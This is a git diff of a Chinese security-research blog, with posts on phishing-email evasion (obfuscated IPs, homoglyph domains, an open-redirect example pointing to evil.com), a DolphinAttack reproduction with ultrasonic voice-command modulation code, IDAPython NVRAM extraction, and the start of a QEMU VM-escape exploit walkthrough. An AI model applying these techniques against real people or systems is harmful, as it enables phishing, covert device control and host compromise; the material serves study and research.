### 2. 使用十六进制IP地址编码格式进行混淆
网络攻击者正在不断发展其工具、策略和技术,以逃避垃圾邮件检测系统。 一些垃圾邮件活动非常依赖电子邮件信息中的混淆URL。其中就有使用了URL主机名部分中使用的十六进制IP地址编码格式来逃避检测。
从技术上讲IP地址可以用多种格式表示因此可以在URL中使用如下所示
* **https://216.58.199.78**
点分十进制IP地址此示例使用Google.com的IP
* **https://0330.0072.0307.0116**
八进制IP地址将每个十进制数字转换为八进制
* **https://0xD83AC74E**
十六进制IP地址将每个十进制数字转换为十六进制
* **https://3627730766**
整数或DWORD IP地址将十六进制IP转换为整数
浏览器将自动将十六进制或其他IP格式转换为十进制的IP地址。
### 3. 邮件钓鱼测试工具固有特征
PhEmail是基于python编写的一款网络钓鱼邮件测试工具。PhEmail可以同时向多个用户发送钓鱼邮件并记录点击的用户的邮箱和IP等信息。PhEmail可以通过Google收集邮箱完成邮箱收集工作。
收集邮箱后钓鱼邮件发送常用参数:`-w 钓鱼网站url地址发送后会自动添加index.php?email=等内容`
钓鱼邮件中的url链接伪造时添加email地址并进行编码通过钓鱼网站中php文件代码来识别email并记录log文件中。php可以进行重定向到其他网站。
### 4. 冒充管理员等身份
对于企业用户来说OA钓鱼邮件是最具危险性的钓鱼邮件。攻击者冒充系统管理员发送邮件以邮箱升级、邮箱停用等理由诱骗企业用户登录钓鱼网站并进而骗取企业员工的帐号、密码、姓名、职务等信息。
钓鱼邮件经常伪装的发件人身份有以下几个主要类型:
* 冒充系统管理员,以系统升级、身份验证等为由,通过钓鱼网站等方式骗取企业员工的内网帐号密码或邮箱帐号密码。
* 冒充特定组织,如协会、机构、会议组织者或政府主管部门等身份发送邮件,骗取帐号密码或钱财。
* 冒充客户或冒充自己,即攻击者会冒充企业客户或合作方对企业实施诈骗,或者是攻击者冒充某企业员工对该企业的客户或合作方实施诈骗。当然也有可能 是冒充某个企业的管理者对企业员工实施诈骗。
从fromname发信人名称中获得的常见名称有admin、support、安全、service、管理员等。
### 5. 同形异义词攻击
同形异义字是利用IDN中一些非拉丁字符语种的字母与拉丁字符非常相似字面看很难区分的特性找到对应的字符来实现钓鱼攻击。例如16ვ.com(U+10D5)、16ဒ.com (U+1012)、16ҙ.com (U+0499) 都在一定程度上和163.com有相似性基于一些开放的https证书服务这些域名还能取得相应的证书进一步增加钓鱼成功的可能性。
Punycode是RFC 3492标准设计的编码系统用于把Unicode转换为可用的DNS系统的编码比如16ҙ.com就会被转成**xn--16-8tc.com**这在一定程度上可以防止IDN欺骗。
### 6. URL跳转
使用URL跳转可以突破钓鱼软件检测系统。这类钓鱼软件检测系统在检测是否是钓鱼网站或者恶意系统的时候检测的是URL而并非网站的内容。比如从qq邮箱打开一个URL的时候会弹出一个网页提示。但并不是所以的网站都会提示一些知名网站是不可能做钓鱼网站的所以邮箱就不会拦截也就是说当邮箱碰到不认识的网站的时候才会进行提示。
这样攻击者就可以利用URLt跳转来躲过恶意检测。比如**http://www.baidu.com/page?url=http://www.evil.com**
## 参考
2016中国企业邮箱安全性研究报告 https://www.anquanke.com/post/id/85416
PhEmail https://github.com/Dionach/PhEmail
微软最新钓鱼技术2019总结 https://www.4hou.com/posts/A9oz
[译] APT分析报告02.钓鱼邮件网址混淆URL逃避检测 https://blog.csdn.net/Eastmount/article/details/108728139
2017中国企业邮箱安全性 研究报告 http://zt.360.cn/1101061855.php?dtid=1101062514&did=491163339
基于URL跳转与XSS组合利用的钓鱼分析 https://xz.aliyun.com/t/6303
IDN Spoof漏洞自动化挖掘 https://blog.lyle.ac.cn/2018/12/08/idnfuzz/
APT杂项篇一种老旧但却防不胜防的钓鱼攻击Punycode 钓鱼攻击https://www.codenong.com/cs106406317/
钓鱼网站也在使用https加密如何识别钓鱼网站 https://www.freebuf.com/company-information/208790.html
恶意邮件智能监测与溯源技术研究 https://www.anquanke.com/post/id/172046#h2-0
钓鱼邮件的投递和伪造 https://xz.aliyun.com/t/6325#toc-0、
用机器学习检测钓鱼网站 http://blog.hubwiz.com/2019/09/17/detect-phishing-url/

View File

@ -1,110 +0,0 @@
---
title: Dolphin Attack 论文复现
date: 2021-01-08 12:54:41
tags:
- 硬件攻击
- 传感器
- 语音助手
categories:
- 顶会论文
description: 眼前一亮的工作!海豚音攻击,试着复现看看(贫穷版)
---
# 海豚音攻击-复现
文章中提到两种方案,一是具有信号发生器的强大变送器,二是带有智能手机的便携式变送器;前一种方案成本过于高,本文不做分析,后一种方案的实现成本在我们可接收的范围。
但原文中对后一方案的实现没有太多介绍,于是我通过邮件咨询了作者-闫琛博士,闫博士非常友好,我是在晚上十点发送的第一封邮件,差不多在十分钟内通过几封邮件的交流,解决了我的问题,很快确定了我的具体实现路径,非常感谢大佬!
* Q: 使用便携式设备攻击的时候三星Galaxy S6 Edge发送的高频声音信号是怎么生成的呢是预先使用专业设备调制好的信号保存为mp3吗
* A: 通过软件调制,生成.wav的超声波音频文件再通过三星手机播放的。
* Q: 用的是什么软件进行调制?
* A: 用过matlab和python都是可以的
## 0x01 语音命令生成
https://ttstool.com/
微软的TTS接口生成的是mp3格式音频一般来说我们使用python处理音频都是针对wav格式。
https://www.aconvert.com/cn/audio/mp3-to-wav/
我们可以通过这个网站对格式做转换。
[xiaoyi.wav](https://coolyim.quip.com/-/blob/OVVAAAmjZcr/Eq9qXdQ7_eD5KQaR33wCCw?name=xiaoyi.wav)
这个网站的采样率最高只能达到96000hz
[6wxmu-crusr.wav](https://coolyim.quip.com/-/blob/OVVAAAmjZcr/aZfltfEV_ZxV1LCGznB1OA?name=6wxmu-crusr.wav)
## 0x02 语音命令调制
生成语音命令的基带信号后,我们需要在超声载波上对其进行调制,以使它们听不到。 为了利用麦克风的非线性DolphinAttack必须利用幅度调制AM
### AM调制原理
使载波的振幅按照所需传送信号的变化规律而变化但频率保持不变的调制方法。调幅在有线电或无线电通信和广播中应用甚广。调幅是高频载波的振幅随信号改变的调制AM。其中载波信号的振幅随着调制信号的某种特征的变换而变化。例如0或1分别对应于无载波或有载波输出电视的图像信号使用调幅。调频的抗干扰能力强失真小但服务半径小。
假设载波uc(t)和调制信号的频率分别为ωc和Ω在已调波中包含三个频率成分ωc、ωc+Ω和ωc-Ω。ωc+Ω称为上边频ωc-Ω称为下边频。
https://epxx.co/artigos/ammodulation.html
http://www.chenjianqu.com/show-44.html
https://zhuanlan.zhihu.com/p/54561504
http://www.mwhitelab.com/archives/208
### 使用python调制
现在我们已经有了基带信号,使用[Audacity](https://www.fosshub.com/Audacity.html)对其进行频谱分析此语音的带宽或频谱左图为采样频率48khz音频右图为96khz
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610082052/Dolphin%20Attack/08_YW7UW_PS_TOE_LZZY.png)
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610082052/Dolphin%20Attack/WGD_U453KYP3M3_2639_5I.png)
我们可以看到带宽为8000-9000hz左右这是女声因此频带范围较宽。这可能导致可听范围内的频率泄露但这里我们先不去讨论之后再使用带宽较小的语音以创建基带语音信号。
wave包最多能读取的wav音频采样率为[48khz](https://github.com/jiaaro/pydub/issues/134)当超过这个值时wave就不再支持wave.Error: unknown format: 65534。但我们的载波频率为30khz左右这就要求音频文件的采样率高于60khz才能保证不失真。所幸[`scipy.io.wavfile`](https://kite.com/python/docs/scipy.io.wavfile)支持高于48khz的wav文件读取。
使用以下Python程序来生成调制的AM和AM-SC音频AM是广播无线电调制的“正常”声音它加上了载波AM-SC则只是载波与原始信号的乘积。
```python
# coding=utf-8
import numpy as np
import matplotlib.pyplot as plt
import os
import wave
import struct
import math
from pydub import AudioSegment
import scipy.io.wavfile
def main():
test = scipy.io.wavfile.read("xiaoyi.wav")
nframes = len(test[1])
waveData = np.fromstring(test[1],dtype=np.short)#将原始字符数据转换为整数
#音频数据归一化
maxW = max(abs(waveData))
waveData = waveData * 1.0/maxW
#将音频信号规整乘每行一路通道信号的格式即该矩阵一行为一个通道的采样点共nchannels行
Tdata = np.reshape(waveData,[nframes,1]).T # .T 表示转置
am = wave.open("am.wav", "w")
amsc = wave.open("amsc.wav", "w")
carrier = wave.open("carrier3000.wav", "w")
for f in [am,amsc,carrier]:
f.setnchannels(1)
f.setsampwidth(2)
f.setframerate(96000)
for n in range(0, nframes):
carrier_sample = math.cos(30000.0 * (n / 96000.0) * math.pi * 2)
signal_am = signal_amsc= waveData[n] * carrier_sample
signal_am += carrier_sample
signal_am /= 2
am.writeframes(struct.pack('h', signal_am * maxW))
amsc.writeframes(struct.pack('h', signal_amsc * maxW))
carrier.writeframes(struct.pack('h', carrier_sample * maxW))
if __name__=='__main__':
main()
```
分别对am.wav、amsc.wav、carrier3000.wav做频谱分析
carrier3000.wav的频谱的为集中在载波频率30khz上的一个脉冲[carrier3000.wav](https://coolyim.quip.com/-/blob/OVVAAAmjZcr/9RE4Z0lCs1WACO75zLTAhA?name=carrier3000.wav)
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610082051/Dolphin%20Attack/K5447O57_S___A_O_Q3V.png)
amsc.wav的带宽约为18khz是原来的两倍关于f=30khz镜面对称。AM调制会创建原始信号的两个“副本”一个在21-30kHz频段另一个在30-39kHz。
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610082052/Dolphin%20Attack/OPSXK_21_7R24_I_NIWM0_8.png)
am.wav在这种调制中我们可以听到载波而在AM-SC中则听不到。频谱类似于AM-SC但在载波频率上还有一个尖锐的“尖峰”
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610082051/Dolphin%20Attack/G8_K4_ZG__PE2CQ_5_UYY.png)
## 0x03 语音命令发送器
下图是由智能手机驱动的便携式发射器。便携式发射器利用智能手机来发射调制信号。许多设备的最佳载波频率都大于24 kHz 大多数智能手机无法完成任务。大多数智能手机最多支持48 kHz采样率所以只能发送载波频率最高为24 kHz的调制窄带信号。需要支持高达192 kHz的采样率的手机而且扬声器会衰减频率大于20 kHz的信号。为了减轻这个问题我使用窄带超声换能器作为扬声器并在超声换能器之前添加了一个放大器这样有效的攻击范围得以扩展。
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610082508/Dolphin%20Attack/Snipaste_2021-01-08_13-06-55.png)

View File

@ -7,9 +7,8 @@ tags:
- 栈溢出
categories:
- Pwn
description: 之前介绍了Windows x86平台下栈溢出漏洞的开放与利用鉴于CTF基本都是Linux还有实际开发环境很多智能设备的系统都是基于Linux所以从很现实的需求出发一定要学习学习Linux下漏洞的分析。
---
之前介绍了Windows x86平台下栈溢出漏洞的开放与利用鉴于CTF基本都是Linux还有实际开发环境很多智能设备的系统都是基于Linux所以从很现实的需求出发一定要学习学习Linux下漏洞的分析。
**ref**
> CTF-WIKIhttps://ctf-wiki.github.io/ctf-wiki/pwn/readme-zh/

View File

@ -8,7 +8,6 @@ tags:
- 重放攻击
categories:
- IOT
description: 局域网内所有的动作都在黑客的掌握之中吗?
---
# 控制局域网内的IOT设备
## 中间人攻击—流量分析

View File

@ -1,166 +0,0 @@
---
title: 自动化获取nvram配置
date: 2021-01-08 16:27:26
tags:
- Netgear
- UPnP
- NVRAM
- 固件模拟
categories:
- IOT
description: 还记得固件仿真吗先试着快速解决nvram
---
ARMX作者说nvram的内容必须从正在运行的设备中提取。
一种方法是转储包含nvram数据的mtdblock /proc/mtd可能有助于识别哪个mtdblock包含nvram。
另一种方法是如果您可以通过UART进行命令行访问当然可以访问实际的硬件某些固件会提供nvram命令运行“ nvram show”也可以获取nvram内容。
https://github.com/therealsaumil/armx/issues/4
知道创宇的研究人员说nvram配置可以查看对应的汇编代码逻辑配置的有问题的话很容易触发段错误
我需要无需硬件自动化的处理大批设备的nvram配置上面两种方法都无法适用。但我发现Netgear的nvram配置有这两个te'd
* upnp等二进制程序通过nvram_match来匹配nvram变量与预期值
* libnvram在data段存储了设备的默认nvram配置**数据段**data segment通常是指用来存放[程序](https://zh.wikipedia.org/wiki/%E7%A8%8B%E5%BA%8F)中已[初始化且不为0](https://zh.wikipedia.org/w/index.php?title=%E5%88%9D%E5%A7%8B%E5%8C%96%E4%B8%94%E4%B8%8D%E4%B8%BA0&action=edit&redlink=1)的[全局变量](https://zh.wikipedia.org/wiki/%E5%85%A8%E5%B1%80%E5%8F%98%E9%87%8F)的一块内存区域。数据段属于[静态内存分配](https://zh.wikipedia.org/wiki/%E9%9D%99%E6%80%81%E5%86%85%E5%AD%98%E5%88%86%E9%85%8D)。
于是根据这两个事实做了两个实验:
## match函数
该函数的逻辑如下a1为要查询的keya2为待比较的对应value调用nvram_get获得nvram中a1的value然后和a2比较相同的话返回1。
```c
const char *__fastcall acosNvramConfig_match(int a1, const char *a2)
{
const char *v2; // r4
const char *result; // r0
int v4; // [sp+0h] [bp-1008h]
v2 = a2;
result = (const char *)j_nvram_get(a1, &v4, 4096);
if ( result )
result = (const char *)(strcmp(result, v2) == 0);
return result;
}
```
在upnp二进制程序汇编代码中调用acosNvramConfig_match来比较nvram
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610094619/nvram/image_24.png)
我做出了一个假设所有a2都是能够使程序正常运行的nvram值现在想要获取它。编写IDA脚本如下
```c
def GetAddr(func_name):
func_list = Functions()
for func in func_list:
name = GetFunctionName(func)
if func_name == name:
print(name,hex(func))
func_addr=func
return func_addr
func_addr = GetAddr('acosNvramConfig_match')
#func_addr=0xa3d4
for x in XrefsTo(func_addr,flags=0):
print "XrefsTo nvram-match func addr: %s"%hex(x.frm)
match_addr = x.frm
val_addr = PrevHead(match_addr)
key_addr = PrevHead(val_addr)
if GetMnem(key_addr) == 'LDR':
instr = GetDisasm(prevaddr)
#print('LDR instruction: %s'%instr)
addr = GetOperandValue(key_addr,1)
key = GetString(Dword(addr))
print('nvram key: %s'%key)
if GetMnem(val_addr) == 'LDR':
instr = GetDisasm(prevaddr)
#print('LDR instruction: %s'%instr)
addr = GetOperandValue(val_addr,1)
val = GetString(Dword(addr))
print('nvram value: %s'%val)
```
1. GetAddr(func_name) 根据函数名获得地址,这里获得了'acosNvramConfig_match'的地址0xa3d4
2. 找到所有引用过该函数的地址并且提取作为参数的数据。获取到函数的引用非常的简单只需要使用XrefsTo()这个API函数就能达到我们的目的。
3. value是调用match函数的前一条指令key是调用match函数的前两条指令操作码都是LDR;
4. 使用GetOperandValue() 这个指令得到第二个操作数的值。注意该值存放的是“存放字符串地址”的地址
5. 使用Dword(addr)获取“存放字符串地址”使用GetString()这个API函数从该偏移提取字符串
粘贴部分结果,有大量的重复,还有许多键值不存在,假设不成立。
```shell
('acosNvramConfig_match', '0xa3d4L')
XrefsTo nvram-match func addr: 0xc940L
nvram key: qos_bw_set_sel
nvram value: 1
XrefsTo nvram-match func addr: 0xc9b4L
nvram key: qos_bw_enable
nvram value: 1
XrefsTo nvram-match func addr: 0xfbd0L
nvram key: wlg_band
nvram value: 2.4G
XrefsTo nvram-match func addr: 0xfc84L
nvram value: 5G
XrefsTo nvram-match func addr: 0xff70L
nvram key: wlg_band
nvram value: 2.4G
nvram value: static
XrefsTo nvram-match func addr: 0x13d2cL
nvram key: board_id
nvram value: U12H127T00_NETGEAR
```
## NVRAM默认配置
如上所述libnvram.so中data段存放着默认配置
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610094620/nvram/image_23.png)
利用IDApython获取该区域存放的键值注意该区域并不存放字符串而是存放“存放字符串地址处”的地址所以也要通过Doword来获取实际地址
```python
import idautils
for seg in idautils.Segments():
if SegName(seg) == '.data':
start = idc.SegStart(seg)
end = idc.SegEnd(seg)
print idc.SegName(seg),start,end
while(start!=end):
key = GetString(Dword(start))
if key != None and key != '0':
start += 4
val = GetString(Dword(start))
if 'upnp' in key:
print('%s=%s'%(key,val))
start += 4
```
这里我们只关注有upnp特征的键值对
```shell
.data [77868 94004](tel:7786894004)
upnp_enable=1
upnp_turn_on=1
upnp_advert_period=30
upnp_advert_ttl=4
upnp_portmap_entry=0
upnp_duration=3600
upnp_DHCPServerConfigurable=1
```
另外再补充几个与网络有关的配置
```shell
friendly_name=Netgear
lan_hwaddr=AA:BB:CC:DD:EE:FF
lan_ipaddr=192.168.2.2
```
使用这个配置成功仿真~
## 一些IDApython使用方法
蒸米写的https://wooyun.js.org/drops/IDAPython%20%E8%AE%A9%E4%BD%A0%E7%9A%84%E7%94%9F%E6%B4%BB%E6%9B%B4%E6%BB%8B%E6%B6%A6%20part1%20and%20part2.html
https://cartermgj.github.io/2017/10/10/ida-python/
https://gitee.com/it-ebooks/it-ebooks-2018-04to07/raw/master/IDAPython%20%E5%88%9D%E5%AD%A6%E8%80%85%E6%8C%87%E5%8D%97.pdf
https://www.0xaa55.com/thread-1586-1-1.html
https://wizardforcel.gitbooks.io/grey-hat-python/content/43.html

View File

@ -2,12 +2,8 @@
title: 加壳与脱壳
date: 2019-05-14 11:20:59
tags:
- 逆向
- 破解
categories: 二进制
description: 壳是最早出现的一种专用加密软件技术。一些软件会采取加壳保护的方式。
---
壳是最早出现的一种专用加密软件技术。一些软件会采取加壳保护的方式。
壳附加在原始程序上通过Windows加载器载入内存后先于原始程序执行以得到控制权在执行的过程中对原始程序进行解密还原然后把控制权还给原始程序执行原来的代码。
加上外壳后,原始程序在磁盘文件中一般是以加密后的形式存在的,只在执行时在内存中还原。这样可以有效防止破解者对程序文件进行非法修改,也可以防止程序被静态反编译。

View File

@ -7,7 +7,6 @@ tags:
- 密码
- QQ
- 数据库
description: 很久远的攻击,可能现在还有效
---
# qq数据库采用简单加密——异或加密

View File

@ -1,564 +0,0 @@
---
title: VM escape-QEMU Case Study
date: 2021-04-10 18:25:46
tags:
- QEMU
- CVE
- 信息泄露
categories:
- Pwn
description: 进入QEMU虚拟机逃逸的世界
---
## 1 Intro
如今,虚拟机已大量部署以供个人使用或在企业细分市场中使用。 网络安全供应商使用不同的VM在*受控和受限*的环境中分析恶意软件。 一个自然的问题出现了:**恶意软件能否从虚拟机中逃脱并在主机上执行代码?**
2015年来自CrowdStrike的Jason Geffner报告了QEMU中的一个严重错误[CVE-2015-3456](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-3456)该错误影响了虚拟软盘驱动器代码这可能使攻击者从VM逃脱到主机。 此漏洞在netsec社区中引起了极大的关注可能是因为它有一个专用名[VENOM](https://www.crowdstrike.com/blog/venom-vulnerability-details/)),这并不是第一个此类漏洞。
2011年[Nelson Elhage](https://paper.bobylive.com/Meeting_Papers/BlackHat/USA-2011/BH_US_11_Elhage_Virtunoid_WP.pdf)在Blackhat 报告并成功利用了QEMU模拟PCI设备热插拔中的[漏洞](https://github.com/nelhage/virtunoid)。
2016年来自奇虎360的刘旭和王胜平在HITB 2016上展示了对KVM / QEMU的成功利用。 他们利用了两个不同的网卡设备仿真器模型RTL8139和PCNET中存在的两个漏洞CVE-2015-5165和CVE-2015-7504。 在他们的演讲中,他们概述了在主机上执行代码的主要步骤,但没有提供任何利用,也没有提供再现它的技术细节。
在本文中我们提供了对CVE-2015-5165一个内存泄漏漏洞和CVE-2015-7504一个基于堆的溢出漏洞的深入分析以及可利用的漏洞。 这两个漏洞的结合可让您从VM突围并在目标主机上执行代码。
我们讨论了技术细节以利用QEMU的**网卡设备仿真**中的漏洞并提供可以重新使用以利用QEMU未来错误的通用技术。 例如,利用共享内存区域和共享代码的交互式绑定外壳。
## 2 KVM/QEMU Overview
KVMKernal-based Virtual Machine基于内核的虚拟机是一个内核模块可为用户空间程序提供完整的虚拟化基础架构。 它允许一个人运行多个运行未修改的Linux或Windows映像的虚拟机。
KVM的用户空间组件包含在主线QEMU快速仿真器该QEMU特别处理设备仿真。
### 2.1 Workspace Environment
为了使那些想使用本文中给出的示例代码的人更轻松,我们在此处提供了重现我们的开发环境的主要步骤。
由于我们定位的漏洞已经修复因此我们需要签出QEMU存储库的源并切换到这些漏洞的修复之前的提交。 然后我们仅为目标x86_64配置QEMU并启用调试在我们的测试环境中我们使用Gcc的4.9.2版构建QEMU
```shell
$ git clone git://git.qemu-project.org/qemu.git
$
$ git checkout bd80b59
$ mkdir -p bin/debug/native
$ cd bin/debug/native
$ ../../../configure --target-list=x86_64-softmmu --enable-debug --disable-werror
$ make
```
使用qemu-img来生成一个qcow2系统文件
```shell
$ ./qemu-img create -f qcow2 ubuntu.qcow2 20G`
$ sudo chmod 666 /dev/kvm
```
之后首先通过qemu-system-x86_64完成对qcow2系统文件中系统的安装需要用-cdrom对iso镜像文件进行加载
```shell
$ ./x86_64-softmmu/qemu-system-x86_64 -enable-kvm -m 2048 -hda ./ubuntu.qcow2 -cdrom\
'/home/han/VMescape/ubuntu-16.04-server-amd64.iso'
```
安装完成后就获得了一个有系统的qcow2文件我们分配2GB的内存并创建两个网络接口卡RTL8139和PCNET同时创建tap接口连接虚拟机和主机
```shell
✗ sudo tunctl -t tap0 -u `whoami`
✗ sudo ifconfig tap0 192.168.2.1/24
$ ./x86_64-softmmu/qemu-system-x86_64 -enable-kvm -m 2048 -display vnc=:89 \
-netdev user,id=t0, -device rtl8139,netdev=t0,id=nic0 -netdev user,id=t1, \
-device pcnet,netdev=t1,id=nic1 -drive \
file=/home/han/VMescape/qemu/bin/debug/native/ubuntu.qcow2,\
format=qcow2,if=ide,cache=writeback,\
-net nic -net tap,ifname=tap0,script=no,downscript=no
```
使用vncviewer连接qemu
```
apt-get install xvnc4viewer
vncviewer 127.0.0.1:5989
```
### 2.2 QEMU Memory Layout
分配给guest虚拟机的物理内存实际上是QEMU虚拟地址空间中mmapp专用的区域。 重要的是要注意分配guest的物理内存时未启用PROT_EXEC标志。
下图说明了来宾的内存和主机的内存如何共存。
```shell
Guest' processes
+--------------------+
Virtual addr space | |
+--------------------+
| |
\__ Page Table \__
\ \
| | Guest kernel
+----+--------------------+----------------+
Guest's phy. memory | | | |
+----+--------------------+----------------+
| |
\__ \__
\ \
| QEMU process |
+----+------------------------------------------+
Virtual addr space | | |
+----+------------------------------------------+
| |
\__ Page Table \__
\ \
| |
+----+-----------------------------------------------++
Physical memory | | ||
+----+-----------------------------------------------++
```
此外QEMU为BIOS和ROM保留了一个内存区域。 这些映射在QEMU映射文件中可用
```shell
✗ cat /proc/36220/maps
555aae05c000-555aae931000 r-xp 00000000 08:01 2239549 /usr/bin/qemu-system-x86_64
555aaeb30000-555aaecfc000 r--p 008d4000 08:01 2239549 /usr/bin/qemu-system-x86_64
555aaecfc000-555aaed7b000 rw-p 00aa0000 08:01 2239549 /usr/bin/qemu-system-x86_64
555aaed7b000-555aaf1de000 rw-p 00000000 00:00 0
555ab0c1c000-555ab2015000 rw-p 00000000 00:00 0 [heap]
7f90b2e2b000-7f90b2e38000 r-xp 00000000 08:01 2758598 /usr/lib/x86_64-linux-gnu/sasl2/libdigestmd5.so.2.0.25
7f90b2e38000-7f90b3037000 ---p 0000d000 08:01 2758598 /usr/lib/x86_64-linux-gnu/sasl2/libdigestmd5.so.2.0.25
7f90b3037000-7f90b3038000 r--p 0000c000 08:01 2758598 /usr/lib/x86_64-linux-gnu/sasl2/libdigestmd5.so.2.0.25
7f90b3038000-7f90b3039000 rw-p 0000d000 08:01 2758598 /usr/lib/x86_64-linux-gnu/sasl2/libdigestmd5.so.2.0.25
.... [other shared libs]
7f9152f96000-7f9152f99000 rw-s 00000000 00:0e 12527 anon_inode:kvm-vcpu:0
7f9152f99000-7f9152f9a000 r--p 00029000 08:01 2374490 /lib/x86_64-linux-gnu/ld-2.27.so
7f9152f9a000-7f9152f9b000 rw-p 0002a000 08:01 2374490 /lib/x86_64-linux-gnu/ld-2.27.so
7f9152f9b000-7f9152f9c000 rw-p 00000000 00:00 0
7ffe2cf63000-7ffe2cf84000 rw-p 00000000 00:00 0 [stack]
7ffe2cf8f000-7ffe2cf92000 r--p 00000000 00:00 0 [vvar]
7ffe2cf92000-7ffe2cf93000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0 [vsyscall]
```
有关虚拟化环境中内存管理的更详细说明请参见http://lettieri.iet.unipi.it/virtualization/2014/Vtx.pdf
### 2.3 Address Translation
在QEMU中存在两个翻译层Guest Virtual Address → Guest Physical Address → Host Virtual Address
* 从Guest虚拟地址到Guest物理地址。 在我们的利用中我们需要配置需要DMA访问的网卡设备。 例如我们需要提供Tx / Rx缓冲区的**物理地址**以正确配置网卡设备。
* 从Guest物理地址到QEMU的虚拟地址空间。 在我们的攻击中,我们需要注入伪造的结构,并在**QEMU的虚拟地址空间**中获得其精确地址。
在x64系统上虚拟地址由页偏移量位0-11和页码组成。 在linux系统上具有CAP_SYS_ADMIN特权的用户空间进程能够使用页面映射文件pagemap )找出虚拟地址和物理地址的映射。 页面映射文件为每个虚拟页面存储一个64位值其中`physical_address = PFN * page_size + offset`
```shell
- Bits 0-54 : physical frame number if present.
- Bit 55 : page table entry is soft-dirty.
- Bit 56 : page exclusively mapped.
- Bits 57-60 : zero
- Bit 61 : page is file-page or shared-anon.
- Bit 62 : page is swapped.
- Bit 63 : page is present.
```
将[虚拟地址Guest Virtual Address转换为物理地址Guest Physical Address](https://shanetully.com/2014/12/translating-virtual-addresses-to-physcial-addresses-in-user-space/)的过程包括
1. 64wei每个页面的大小为 `4096` 字节,即 `1 << 12`
1. 基于 `/proc/pid/pagemap` 可以查看进程任意 Virtual Page 的状态,包括是否被映射到物理内存以及在物理内存中的 Page Frame NumberPFN
* `pagemap` 文件为每个 Virtual Page 存储 `64` 位(即 `8` 字节)的信息,数据格式如上。
1. 对任意的虚拟地址 `address` ,基于 `address/4096` 可以计算出该虚拟地址在 `pagemap` 文件中的索引值, `address/4096 * 8` 即对应的文件偏移值,在该位置能够获取**PFN**信息;
1. 页内偏移对任意的虚拟地址 `address` `address%4096` 即虚拟地址在对应的内存页中的**偏移值**
1. 根据物理内存的 PFN **physical frame number**)以及页内偏移,就可以计算出对应的物理地址;
```
physical_address = PFN * page_size + offset
physcial_addr =(page_frame_number << PAGE_SHIFT) + distance_from_page_boundary_of_buffer
```
我们依靠Nelson Elhage的[代码](https://github.com/nelhage/virtunoid/blob/master/virtunoid.c)。 下面的程序分配一个缓冲区并用字符串“Where am I?”填充它。 并打印其物理地址:
```c
---[ mmu.c ]---
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>
#include <fcntl.h>
#include <assert.h>
#include <inttypes.h>
#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)
int fd;
uint32_t page_offset(uint32_t addr)
{
return addr & ((1 << PAGE_SHIFT) - 1);
}
uint64_t gva_to_gfn(void *addr)
{
uint64_t pme, gfn;
size_t offset;
offset = ((uintptr_t)addr >> 9) & ~7;
lseek(fd, offset, SEEK_SET);
read(fd, &pme, 8);
if (!(pme & PFN_PRESENT))
return -1;
# The page frame number is in bits 0-54 so read the first 7 bytes and clear the 55th bit
gfn = pme & PFN_PFN;
return gfn;
}
uint64_t gva_to_gpa(void *addr)
{
uint64_t gfn = gva_to_gfn(addr);
assert(gfn != -1);
return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}
int main()
{
uint8_t *ptr;
uint64_t ptr_mem;
fd = open("/proc/self/pagemap", O_RDONLY);
if (fd < 0) {
perror("open");
exit(1);
}
ptr = malloc(256);
strcpy(ptr, "Where am I?");
printf("%s\n", ptr);
ptr_mem = gva_to_gpa(ptr);
printf("Your physical address is at 0x%"PRIx64"\n", ptr_mem);
getchar();
return 0;
}
```
静态编译好程序之后将其上传到 QEMU 虚拟机中以 `root` 身份执行,打印出物理地址为 `0x73b17b20`
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618050992/VMescape/image_29.png)
在主机将gdb附加到QEMU进程我们可以看到缓冲区位于为guest虚拟机分配的物理地址空间内。 更准确地说输出的guest物理地址地址实际上是与**guest物理内存基址**的偏移量。
```shell
✗ sudo gdb qemu-system-x86_64 38140
(gdb) info proc mappings
process 38140
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x556857048000 0x55685791d000 0x8d5000 0x0 /usr/bin/qemu-system-x86_64
0x556857b1c000 0x556857ce8000 0x1cc000 0x8d4000 /usr/bin/qemu-system-x86_64
0x556857ce8000 0x556857d67000 0x7f000 0xaa0000 /usr/bin/qemu-system-x86_64
0x556857d67000 0x5568581ca000 0x463000 0x0
0x556859c27000 0x55685b038000 0x1411000 0x0 [heap]
... ... ... ...
0x7f72afe00000 0x7f732fe00000 0x80000000 0x0 [2GB RAM]
... ... ... ...
(gdb) x/s 0x7f72afe00000+0x73b17b20
0x7f7323917b20: "Where am I?"
```
## 3 Memory Leak Exploitation
接下来我们将利用CVE-2015-5165一个会影响RTL8139网卡设备仿真器的内存泄漏漏洞来重建QEMU的内存布局。 更准确地说,我们需要泄漏
1. .text段的基地址以构建我们的shellcode
2. 为Guest分配的物理内存的基地址以便能够获得 一些虚拟结构的地址
### 3.1 The vulnerable Code
REALTEK网卡支持两种 接收/发送 操作模式C模式和C +模式。 当将网卡设置为使用C +时网卡设备仿真器会错误地计算IP数据包数据的长度最终发送的数据量会超出数据包中实际可用的数据量。
该漏洞存在于hw/net/rtl8139.c的 rtl8139_cplus_transmit_one 函数中:
```c
/* ip packet header */
ip_header *ip = NULL;
int hlen = 0;
uint8_t ip_protocol = 0;
uint16_t ip_data_len = 0;
uint8_t *eth_payload_data = NULL;
size_t eth_payload_len = 0;
int proto = be16_to_cpu(*(uint16_t *)(saved_buffer + 12));
if (proto == ETH_P_IP)
{
DPRINTF("+++ C+ mode has IP packet\n");
/* not aligned */
eth_payload_data = saved_buffer + ETH_HLEN;
eth_payload_len = saved_size - ETH_HLEN;
ip = (ip_header*)eth_payload_data;
if (IP_HEADER_VERSION(ip) != IP_HEADER_VERSION_4) {
